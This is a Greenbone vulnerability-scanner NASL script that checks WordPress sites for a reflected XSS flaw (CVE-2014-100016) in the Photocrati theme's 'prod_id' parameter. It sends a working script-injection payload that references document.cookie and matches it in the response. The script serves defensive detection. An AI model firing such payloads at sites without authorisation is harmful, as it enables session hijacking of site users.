WordPress Photocrati Theme 'prod_id' XSS Vulnerability

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:photocrati:photocrati-theme";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802089");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2015-01-22 12:44:09 +0530 (Thu, 22 Jan 2015)");

  script_cve_id("CVE-2014-100016");

  script_name("WordPress Photocrati Theme 'prod_id' XSS Vulnerability");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_themes_http_detect.nasl");
  script_mandatory_keys("wordpress/theme/photocrati-theme/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"The WordPress theme Photocrati is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Checks if a vulnerable version is installed on the target host.");

  script_tag(name:"insight", value:"The flaw exists as input passed via the
  'prod_id' GET parameter to the '/photocrati-theme/photocrati-gallery/ecomm-sizes.php'
  file is not properly sanitised before being returned to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary HTML and script code in a user's browser session
  in context of an affected site.");

  script_tag(name:"affected", value:"WordPress Photocrati theme version
  4.7.3. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available
  for at least one year since the disclosure of this vulnerability. Likely none will
  be provided anymore. General solution options are to upgrade to a newer release,
  disable respective features, remove the product or replace the product by another
  one.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/56690");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/65238");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/90812");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/124986");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

url = dir + "/photocrati-gallery/ecomm-sizes.php";

req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);

if(res && res =~ "^HTTP/1\.[01] 200") {
  url = dir + '/photocrati-gallery/ecomm-sizes.php?prod_id="/><script>alert(document.cookie);</script>';

  if(http_vuln_check(port:port, url:url, check_header:TRUE, pattern:"><script>alert\(document.cookie\);</script>", extra_check:">Add To Shopping Cart<")) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port,data:report);
    exit(0);
  }
}